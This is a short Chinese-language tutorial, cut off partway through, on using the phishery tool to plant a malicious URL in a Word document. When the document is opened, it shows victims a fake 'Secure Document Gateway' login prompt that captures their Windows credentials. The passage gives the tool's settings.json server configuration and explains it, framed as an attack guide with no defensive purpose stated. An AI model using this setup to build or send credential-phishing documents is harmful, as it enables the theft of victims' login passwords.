使用恶意捆绑URL工具入侵Windows(恶意文档利用)

恶意盗取Windows 登录密码的Word 文档

通过使用phishery工具将恶意url注入到word文档，这将导致MicrosoftWord向URL发出请求，从而向最终用户显示身份验证对话框。可以使用phishery的URL注入任何.docx文件。

第一步:根据需要修改提供的setings.json文件，默认情况下它应该如下所示

{
“ip”: “0.0.0.0”,
“port”: “443”,
“sslCert”: “server.crt”,
“sslKey”: “server.key”,
“basicRealm”: “Secure Document Gateway”,
“responseStatus”: 200,
“responseFile”: “template.dotx”,
“responseHeaders”: [
[“Content-Type”, “application/vnd.openxmlformats-officedocument.wordprocessingml.template”]
]
}

此设置将启动端口上的HTTP服务器443将SSL配置为使用Server.crt和Server.key…基本身份验证域设置为安全文档网关…当提供任何凭据时，200响应状态与包含的内容一起发送。Template.dotx以及内容类型标题：内容类型：applicationvnd.openxmlformats-officedocument.wordprocessingml.template.

第二步：还可以将设置文件配置为输出一个简单的主体，方法是使用响应体，就像这样：